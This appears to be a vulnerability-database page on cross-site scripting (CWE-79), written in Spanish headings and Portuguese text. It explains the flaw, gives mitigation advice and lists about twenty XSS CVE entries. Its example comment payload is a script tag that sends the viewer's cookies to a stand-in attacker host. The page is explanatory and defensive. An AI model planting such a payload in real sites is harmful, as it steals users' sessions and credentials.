Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-68116HIGHFileRise vulnerable to Cross-Site Scripting (XSS) in SVG File HandlingEPSS 0.3%CVE-2025-52552MEDIUMFastGPT LastRoute Parameter on Login Page Vulnerable to Open Redirect and DOM-based XSSEPSS 0.3%CVE-2024-51926MEDIUMWordPress GreenCon plugin <= 1.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46509MEDIUMWordPress 360 View plugin <= 1.1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-51932MEDIUMWordPress Kings Tab Slider plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22593HIGHWordPress Laika Pedigree Tree plugin <= 1.4 - CSRF to Stored XSS vulnerabilityEPSS 0.3%CVE-2024-40317MEDIUMA reflected cross-site scripting (XSS) vulnerability in MyNET up to v26.08 allows attackers to execute arbitrary code in the context of a usEPSS 0.3%CVE-2026-66490MEDIUMJoomla Extension - balbooa.com - Stored cross-site scripting via a comment avatar in Gridbox < 2.20.2EPSS 0.3%CVE-2025-22569HIGHWordPress Featured Page Widget Plugin <= 2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22586HIGHWordPress WPEX Replace DB Urls Plugin <= 0.4.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-73336MEDIUMJoomla! Core - [20260806] - XSS through schema.org outputs in Joomla 5.1.0-5.4.7, 6.0.0-6.1.2EPSS 0.3%CVE-2025-22706HIGHWordPress Social Pug: Author Box plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22355HIGHWordPress Kikx Simple Post Author Filter plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51952MEDIUMStored XSS issue in ArcGIS ServerEPSS 0.3%CVE-2025-36605MEDIUMDell Unity, version(s) 5.5 and prior, contain(s) an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulEPSS 0.3%CVE-2025-22344HIGHWordPress Media Category Library plugin <= 2.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51957MEDIUMStored XSS vulnerability in ArcGIS Rest Services DirectoryEPSS 0.3%CVE-2024-51937MEDIUMWordPress IA Map Analytics Basic plugin <= 20170413 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-69749MEDIUMCross Site Scripting vulnerability in tale v.2.0.5 allows an attacker to execute arbitrary code.EPSS 0.3%CVE-2026-2427MEDIUMitsukaita <= 0.1.2 - Reflected Cross-Site Scripting via 'day_from' ParameterEPSS 0.3%